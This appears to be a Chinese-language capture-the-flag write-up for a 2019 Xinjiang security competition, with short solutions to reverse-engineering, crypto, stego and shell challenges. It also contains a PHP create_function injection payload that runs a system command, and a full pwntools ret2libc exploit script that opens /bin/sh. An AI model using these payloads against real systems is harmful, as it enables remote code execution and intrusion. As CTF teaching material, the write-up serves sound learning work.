2019新疆網絡安全技術實訓線上選拔賽部分WP

RE

0x01 easy-re

將下載的文件直接放入IDA分析,
在這裏插入圖片描述在這裏插入圖片描述
可以發現,key每次都+1並且與byte_41C798進行比較,所以,輸入字符串必須-1,將得到的字符串轉ascii碼,得到flag
flag{easy_re_have_fun}

CRYPTO

0x02 Easy-calssical

在這裏插入圖片描述
在這裏插入圖片描述

0x03 _*_

根據題目,加上下載的文件,很容易看出是摩斯密碼,放入在線工具網站:http://ctf.ssleye.com/morse.html
在這裏插入圖片描述
得到16進制數,將16進制字符串轉字符串,在線轉:http://www.5ixuexiwang.com/str/from-hex.php
在這裏插入圖片描述

MISC

0x04 white_cat

使用010editoer,修改圖片高度
在這裏插入圖片描述
再次打開:
在這裏插入圖片描述

0x05 red_green

直接丟進Stegsolve,一頓騷操作,沒有發現什麼用,最後發現題目是red_green
,於是猜測可能要將這兩個red和green分離
在這裏插入圖片描述
使用Stegsolve,如上圖所示,保存並將後綴名改爲.jpg後
在這裏插入圖片描述

0x06 give_your_shell

剛開始連上,輸入任何命令都保存,懵逼的一撇,看到其使用的是 upper shell
Google搜索,發現網站:
https://medium.com/secttp/overthewire-bandit-level-31-e3b82064285a
發現以下命令
在這裏插入圖片描述
輸入測試一波,驚喜出現
在這裏插入圖片描述

Web

0x07 easy_php

閱讀源碼:

<?php
  highlight_file(__FILE__);
  error_reporting(0);
  if (@file_get_contents($_GET['sign'], 'r') === 'Hello World') {
    extract($_GET["flag"]);
    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
        die('go away');
    } else {
        $action('', $_GET['arg']);
    }
  }

首先要考慮繞過,if (@file_get_contents($_GET[‘sign’], ‘r’) === ‘Hello World’);
這裏可以用php的封裝協議php://input,因爲php://input可以得到原始的post數據,
參考網站:https://blog.csdn.net/niexinming/article/details/52623790
可是測試發現:
在這裏插入圖片描述

發現走到了這一步,接下來繼續繞過 $action(’’, $_GET[‘arg’]);

if(preg_match('/^[a-z0-9_]*$/isD', $action)) { 
        die('go away'); 
    } else { 
        $action('', $_GET['arg']); 
    } 

百度發現:action(’’,$arg)這裏有兩個參數,可以想到create_function匿名函數代碼注入,參考網站:https://xz.aliyun.com/t/3623

重新構造:
payload:sign=php://input&flag[action]=%5ccreate_function&arg=;}system(%22cat%20/flag%22);//

在這裏插入圖片描述

PWN

0x08 hello stack

ret2libc,做rop用puts去leak,然後調用system(’/bin/sh’)
直接上腳本:

#-*- coding: utf-8 -*-
from pwn import *

s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))

binary_file = './task_1'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
elf = ELF(binary_file)
libc = elf.libc

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = ''
    gdbscript += 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)


def exploit(io):
    # dbg(0x804853B)
    sl(flat('a'*108, 'bbbb', elf.sym['puts'], elf.sym['main'], elf.got['puts']))
    ru('\n')
    ru('\n')
    libc.address = uu32(r(4)) - libc.sym.puts
    print hex(libc.address)
    sl(flat('a'*108, 'bbbb', libc.sym.system, elf.sym['main'], libc.search('/bin/sh').next() ))

    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
irt()

flag{easssssssy_staaaaack_you_get_it}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章